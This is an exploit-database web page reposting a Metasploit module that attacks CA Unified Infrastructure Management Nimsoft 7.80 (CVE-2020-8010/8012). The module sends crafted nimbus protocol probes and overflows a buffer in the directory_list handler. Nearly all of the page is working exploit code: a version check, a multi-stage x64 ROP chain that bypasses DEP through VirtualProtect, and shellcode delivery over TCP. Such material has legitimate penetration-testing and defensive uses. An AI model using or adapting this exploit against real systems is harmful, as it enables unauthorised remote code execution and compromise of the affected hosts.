Advertisement






CA Unified Infrastructure Management Nimsoft 7.80 Buffer Overflow

CVE Category Price Severity
CVE-2020-8010 CWE-119 $5,000 High
Author Risk Exploitation Type Date
kapustkiy High Remote 2020-08-01
CPE
cpe:cpe:/a:ca:unified_infrastructure_management:nimsoft:7.80
CVSS EPSS EPSSP
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C 0.14846 0.90873

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020080007

Below is a copy:

CA Unified Infrastructure Management Nimsoft 7.80 Buffer Overflow
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow within the CA Unified Infrastructure Management nimcontroller.
          The vulnerability occurs in the robot (controller) component when sending a specially crafted directory_list
          probe.

          Technically speaking the target host must also be vulnerable to CVE-2020-8010 in order to reach the
          directory_list probe.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'wetw0rk' # Vulnerability Discovery and Metasploit module
          ],
        'References' =>
          [
            [ 'CVE', '2020-8010' ], # CA UIM Probe Improper ACL Handling RCE (Multiple Attack Vectors)
            [ 'CVE', '2020-8012' ], # CA UIM nimbuscontroller Buffer Overflow RCE
            [ 'URL', 'https://support.broadcom.com/external/content/release-announcements/CA20200205-01-Security-Notice-for-CA-Unified-Infrastructure-Management/7832' ],
            [ 'PACKETSTORM', '156577' ]
          ],
        'DefaultOptions' =>
          {
            'EXITFUNC' => 'process',
            'AUTORUNSCRIPT' => 'post/windows/manage/migrate'
          },
        'Payload' =>
          {
            'Space' => 2000,
            'DisableNops' => true
          },
        'Platform' => 'win',
        'Arch' => ARCH_X64,
        'Targets' =>
          [
            [
              'Windows Universal (x64) - v7.80.3132',
              {
                'Platform' => 'win',
                'Arch' => [ARCH_X64],
                'Version' => '7.80 [Build 7.80.3132, Jun  1 2015]',
                'Ret' => 0x000000014006fd3d # pop rsp; or al, 0x00; add rsp, 0x0000000000000448 ; ret [controller.exe]
              }
            ],
          ],
        'Privileged' => true,
        'Notes' => { 'Stability' => [ CRASH_SAFE ] },
        'DisclosureDate' => 'Feb 05 2020',
        'DefaultTarget' => 0
      )
    )

    register_options(
      [
        OptString.new('DIRECTORY', [false, 'Directory path to obtain a listing', 'C:\\']),
        Opt::RPORT(48000),
      ]
    )

  end

  # check: there are only two prerequisites to getting code execution. The version number
  # and access to the directory_list probe. The easiest way to get this information is to
  # ask nicely ;)
  def check

    connect

    sock.put(generate_probe('get_info', ['interfaces=0']))
    response = sock.get_once(4096)

    list_check = -1

    begin
      if target['Version'].in? response
        print_status("Version #{target['Version']} detected, sending directory_list probe")
        sock.put(generate_probe('directory_list', ["directory=#{datastore['DIRECTORY']}", 'detail=1']))
        list_check = parse_listing(sock.get_once(4096), datastore['DIRECTORY'])
      end
    ensure
      disconnect
    end

    if list_check == 0
      return CheckCode::Appears
    else
      return CheckCode::Safe
    end

  end

  def exploit

    super
    connect

    shellcode = make_nops(500)
    shellcode << payload.encoded

    offset = rand_text_alphanumeric(1000)
    offset += "\x0f" * 33

    heap_flip = [target.ret].pack('<Q*')

    alignment = rand_text_alphanumeric(7) # Adjustment for the initial chain
    rop_chain = generate_rsp_chain # Stage1: Stack alignment
    rop_chain += rand_text_alphanumeric(631) # Adjust for second stage
    rop_chain += generate_rop_chain # Stage2: GetModuleHandleA, GetProcAddressStub, VirtualProtectStub
    rop_chain += rand_text_alphanumeric((3500 - # ROP chain MUST be 3500 bytes, or exploitation WILL fail
      rop_chain.length

                                        ))
    rop_chain += "kernel32.dll\x00"
    rop_chain += "VirtualProtect\x00"

    trigger = "\x10" * (8000 - (
      offset.length +
      heap_flip.length +
      alignment.length +
      rop_chain.length +
      shellcode.length
    )
                       )

    buffer = offset + heap_flip + alignment + rop_chain + shellcode + trigger
    exploit_packet = generate_probe(
      'directory_list',
      ["directory=#{buffer}"]
    )

    sock.put(exploit_packet)

    disconnect

  end

  # generate_rsp_chain: This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes
  # otherwise our call will fail. I had VP work 50% of the time when the stack was unaligned.
  def generate_rsp_chain

    rop_gadgets = [0x0000000140018c42] * 20 # ret
    rop_gadgets += [
      0x0000000140002ef6, # pop rax ; ret
      0x00000001401a3000, # *ptr to handle reference ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
      0x00000001400af237, # pop rdi ; ret
      0x0000000000000007, # alignment for rsp
      0x0000000140025dab
    ] # add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret

    return rop_gadgets.pack('<Q*')

  end

  # generate_rop_chain: This chain will craft function calls to GetModuleHandleA, GetProcAddressStub,
  # and finally VirtualProtectStub. Once completed, we have bypassed DEP and can get code execution.
  # Since we dynamically generate VirtualProtectStub, we needn't worry about other OS's.
  def generate_rop_chain

    # RAX -> HMODULE GetModuleHandleA(
    #   ( RCX == *module ) LPCSTR lpModuleName,
    # );
    rop_gadgets = [0x0000000140018c42] * 15 # ret
    rop_gadgets += [
      0x0000000140002ef6, # pop rax ; ret
      0x0000000000000000, # (zero out rax)
      0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000
    ] #
    rop_gadgets += [0x0000000140018c42] * 10 # ret
    rop_gadgets += [
      0x0000000140131643, # pop rcx ; ret
      0x00000000000009dd, # offset to "kernel32.dll"
      0x000000014006d8d8
    ] # add rax, rcx ; add rsp, 0x38 ; ret

    rop_gadgets += [0x0000000140018c42] * 15 # ret

    rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret
    rop_gadgets += [
      0x0000000140002ef6, # pop rax ; ret
      0x000000014015e310, # GetModuleHandleA (0x00000000014015E330-20)
      0x00000001400d1161
    ] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret
    rop_gadgets += [0x0000000140018c42] * 17 # ret

    # RAX -> FARPROC GetProcAddressStub(
    #   ( RCX == &addr    ) HMODULE hModule,
    #   ( RDX == *module  ) lpProcName
    # );
    rop_gadgets += [
      0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule)
      0x0000000140002ef6, # pop rax ; ret
      0x0000000000000000, # (zero out rax)
      0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000
    ] #
    rop_gadgets += [0x0000000140018c42] * 10 # ret
    rop_gadgets += [
      0x0000000140131643, # pop rcx ; ret
      0x0000000000000812, # offset to "virtualprotectstub"
      0x000000014006d8d8
    ] # add rax, rcx ; add rsp, 0x38 ; ret
    rop_gadgets += [0x0000000140018c42] * 15 # ret
    rop_gadgets += [0x0000000140135e39] # mov edx, eax ; mov rbx, qword [rsp+0x30] ; mov rbp, qword [rsp+0x38] ; mov rsi, qword [rsp+0x40]
    # mov rdi, qword [rsp+0x48] ; mov eax, edx ; add rsp, 0x20 ; pop r12 ; ret

    rop_gadgets += [0x0000000140018c42] * 10 # ret
    rop_gadgets += [0x00000001400d1ab8] # mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret
    rop_gadgets += [0x0000000140018c42] * 10 # ret
    rop_gadgets += [0x0000000140111ca1] # xchg rax, r13 ; or al, 0x00 ; ret
    rop_gadgets += [
      0x00000001400cf3d5, # mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000
    ] #
    rop_gadgets += [0x0000000140018c42] * 6 # ret
    rop_gadgets += [
      0x0000000140002ef6, # pop rax ; ret
      0x000000014015e318
    ] # GetProcAddressStub (0x00000000014015e338-20)
    rop_gadgets += [0x00000001400d1161] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret
    rop_gadgets += [0x0000000140018c42] * 17 # ret

    # RAX -> BOOL VirtualProtectStub(
    #   ( RCX == *shellcode          ) LPVOID  lpAddress,
    #   ( RDX == len(shellcode)      ) SIZE_T  dwSize,
    #   ( R8  == 0x0000000000000040  ) DWORD   flNewProtect,
    #   ( R9  == *writeable location ) PDWORD  lpflOldProtect,
    # );
    rop_gadgets += [
      0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub)
      0x000000014013d651, # pop r12 ; ret
      0x00000001401fb000, # *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
      0x00000001400eba74
    ] # or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop r12 ; pop rdi ; pop rsi ; ret
    rop_gadgets += [0x0000000140018c42] * 10 # ret
    rop_gadgets += [
      0x0000000140002ef6, # pop rax ; ret
      0x0000000000000000
    ]
    rop_gadgets += [
      0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000
    ] #
    rop_gadgets += [0x0000000140018c42] * 10 # ret
    rop_gadgets += [
      0x0000000140131643, # pop rcx ; ret
      0x000000000000059f, # (offset to *shellcode)
      0x000000014006d8d8
    ] # add rax, rcx ; add rsp, 0x38 ; ret
    rop_gadgets += [0x0000000140018c42] * 15 # ret
    rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret
    rop_gadgets += [
      0x00000001400496a2, # pop rdx ; ret
      0x00000000000005dc
    ] # dwSize
    rop_gadgets += [
      0x00000001400bc39c, # pop r8 ; ret
      0x0000000000000040
    ] # flNewProtect
    rop_gadgets += [0x00000001400c5f8a] # mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub)
    rop_gadgets += [0x0000000140018c42] * 17 # ret
    rop_gadgets += [0x00000001400a0b55] # call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h]
    # mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret

    rop_gadgets += [0x0000000140018c42] * 20 # ret

    rop_gadgets += [
      0x0000000140002ef6, # pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE)
      0x0000000000000000, # (zero out rax)
      0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000
    ] #
    rop_gadgets += [0x0000000140018c42] * 10 # ret
    rop_gadgets += [
      0x0000000140131643, # pop rcx ; ret
      0x0000000000000317, # (offset to our shellcode)
      0x000000014006d8d8
    ] # add rax, rcx ; add rsp, 0x38 ; ret
    rop_gadgets += [0x0000000140018c42] * 15 # ret
    rop_gadgets += [0x00000001400a9747] # jmp rax
    rop_gadgets += [0x0000000140018c42] * 20 # ret (do not remove)

    return rop_gadgets.pack('<Q*')

  end

  # parse_listing: once the directory_list probe is sent we're returned a directory listing
  # unfortunately it's hard to read this simply "decodes" it
  def parse_listing(response, directory)

    result = { 'name' => '', 'date' => '', 'size' => '', 'type' => '' }
    i = 0

    begin
      dirlist = response.split('\x00')[0].split("\x00")
      index = dirlist.index('entry') + 3
      final = dirlist[index..-1]
    rescue StandardError
      print_error('Failed to gather directory listing')
      return -1
    end

    print_line("\n Directory of #{directory}\n")

    check = 0
    name = 0
    ftime = 0
    size = 0
    ftype = 0

    while i < final.length

      if name == 1
        unless final[i].to_i > 0
          result['name'] = final[i]
          name = 0
          check += 1
        end
      end
      if size >= 1
        if size == 3
          result['size'] = final[i]
          size = 0
          check += 1
        else
          size += 1
        end
      end
      if ftype >= 1
        if ftype == 3
          result['type'] = final[i]
          ftype = 0
          check += 1
        else
          ftype += 1
        end
      end
      if ftime >= 1
        if ftime == 3
          result['date'] = final[i]
          ftime = 0
          check += 1
        else
          ftime += 1
        end
      end

      if final[i].include? 'name'
        name = 1
      end
      if final[i].include? 'size'
        size = 1
      end
      if final[i].include? 'size'
        ftype = 1
      end
      if final[i].include? 'last_modified'
        ftime = 1
      end

      i += 1

      next unless check == 4

      if result['type'] == '2'
        result['type'] = ''
      else
        result['type'] = '<DIR>'
        result['size'] = ''
      end

      begin
        time = Time.at(result['date'].to_i)
        timestamp = time.strftime('%m/%d/%Y %I:%M %p')
      rescue StandardError
        timestamp = '??/??/???? ??:?? ??'
      end

      print_line(format('%20<timestamp>s %6<type>s %<name>s', timestamp: timestamp, type: result['type'], name: result['name']))

      check = 0
    end
    print_line('')
    return 0
  end

  # generate_probe: The nimcontroller utilizes the closed source protocol nimsoft so we need to specially
  # craft probes in order for the controller to accept any input.
  def generate_probe(probe, args)

    client = "#{rand_text_alphanumeric(14)}\x00"
    packet_args = ''
    probe += "\x00"

    for arg in args

      c = ''
      i = 0

      while c != '='

        c = arg[i]
        i += 1

      end

      packet_args << "#{arg[0, (i - 1)]}\x00"
      packet_args << "1\x00#{arg[i..-1].length + 1}\x00"
      packet_args << "#{arg[i..-1]}\x00"

    end

    packet_header = 'nimbus/1.0 ' # nimbus header (length of body) (length of args)
    packet_body = "mtype\x00" # mtype
    packet_body << "7\x004\x00100\x00" # 7.4.100
    packet_body << "cmd\x00" # cmd
    packet_body << "7\x00#{probe.length}\x00" # 7.(length of probe)
    packet_body << probe # probe
    packet_body << "seq\x00" # seq
    packet_body << "1\x002\x000\x00" # 1.2.0
    packet_body << "ts\x00" # ts
    packet_body << "1\x0011\x00#{rand_text_alphanumeric(10)}\x00" # 1.11.(UNIX EPOCH TIME)
    packet_body << "frm\x00" # frm
    packet_body << "7\x00#{client.length}\x00" # 7.(length of client)
    packet_body << client # client address
    packet_body << "tout\x00" # tout
    packet_body << "1\x004\x00180\x00" # 1.4.180
    packet_body << "addr\x00" # addr
    packet_body << "7\x000\x00" # 7.0
    #
    # probe packet arguments (dynamic)
    # argument
    # length of arg value
    # argument value

    packet_header << "#{packet_body.length} #{packet_args.length}\r\n"
    probe = packet_header + packet_body + packet_args

    return probe

  end

end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum